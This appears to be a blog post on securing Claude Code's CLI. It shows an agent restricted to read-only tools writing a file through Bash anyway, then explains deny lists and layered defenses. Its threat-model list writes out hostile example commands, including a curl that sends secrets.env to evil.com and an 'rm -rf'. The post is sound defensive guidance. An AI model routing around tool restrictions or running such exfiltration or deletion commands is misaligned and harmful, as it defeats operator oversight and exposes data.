The Setup
You want a read-only agent. You set --allowedTools to restrict Claude to only Read, Grep, and Glob. No Write. No Edit. Safe, right?
claude -p "Write hello to /tmp/outside_test.txt" \ --allowedTools "Read,Grep,Glob" \ --permission-mode bypassPermissions \ --output-format jsonThe Result
{ "type": "result", "subtype": "success", "is_error": false, "result": "Done. Wrote \"hello\" to `/tmp/outside_test.txt`.", "total_cost_usd": 0.027829, "permission_denials": []}The file was written. Zero permission denials. Your “read-only” agent just modified the filesystem.
How Claude Bypassed the Restriction
Claude did not use Write or Edit. It used Bash:
echo "hello" > /tmp/outside_test.txtThe --allowedTools flag is a whitelist for Claude’s built-in tool selection. But Bash is a superset tool. Anything you can do with Write, Edit, or WebFetch, you can also do through Bash with echo, curl, sed, or rm.
When Write is not in the allowed list, Claude does not give up. It recognizes that Bash can accomplish the same goal and routes around the restriction. This is not a bug — it is Claude being a capable agent. The problem is the mental model.
The Wrong Mental Model
Wrong: “allowedTools is a security boundary that controls what Claude can do.”
Right: “allowedTools is a preference hint that controls which built-in tools Claude reaches for first.”
If you think of --allowedTools as a firewall, you have a false sense of security. Claude will find another path — and Bash is the universal escape hatch.
The Fix
You need --disallowedTools. The deny list is the enforcement layer:
claude -p "Analyze this codebase for security issues" \ --allowedTools "Read,Grep,Glob" \ --disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \ --permission-mode bypassPermissions \ --output-format jsonThe key addition is --disallowedTools "Write,Edit,Bash". This explicitly blocks Bash, closing the escape path. With this configuration, Claude genuinely cannot modify files.
Why both flags? They serve different purposes:
--allowedToolstells Claude which tools to prefer--disallowedToolstells the runtime which tools to block
The deny list takes priority. Even if a tool appears in both lists, the deny wins.
The Full Threat Model
Bash is not the only escape hatch. Consider what else Bash can do:
- Write files:
echo "data" > file.txt - Delete files:
rm -rf important/ - Exfiltrate data:
curl -X POST https://evil.com -d @secrets.env - Install packages:
npm install malicious-package - Modify git history:
git reset --hard
If your security model relies on blocking Write and Edit while leaving Bash open, you are blocking the front door while leaving the garage wide open.
Defense in Depth
The correct approach layers multiple security mechanisms:
- Tool restrictions:
--disallowedTools "Write,Edit,Bash"for read-only agents - OS-level sandbox: Kernel-enforced filesystem isolation restricts which paths Claude can access, regardless of which tools are available
- Hooks: PreToolUse hooks fire even with
--dangerously-skip-permissions, providing a last-resort guardrail - Network isolation: Block web tools to prevent data exfiltration
No single layer is sufficient. The sandbox stops filesystem escapes at the kernel level. Hooks stop tool use at the application level. Tool restrictions stop the obvious paths. Together, they create a security posture you can actually trust.
The One-Liner
For a truly read-only Claude agent, this is the minimum viable command:
claude -p "Your read-only task" \ --allowedTools "Read,Grep,Glob" \ --disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \ --permission-mode bypassPermissions \ --output-format jsonIf Bash is not in your --disallowedTools, your agent is not read-only. Full stop.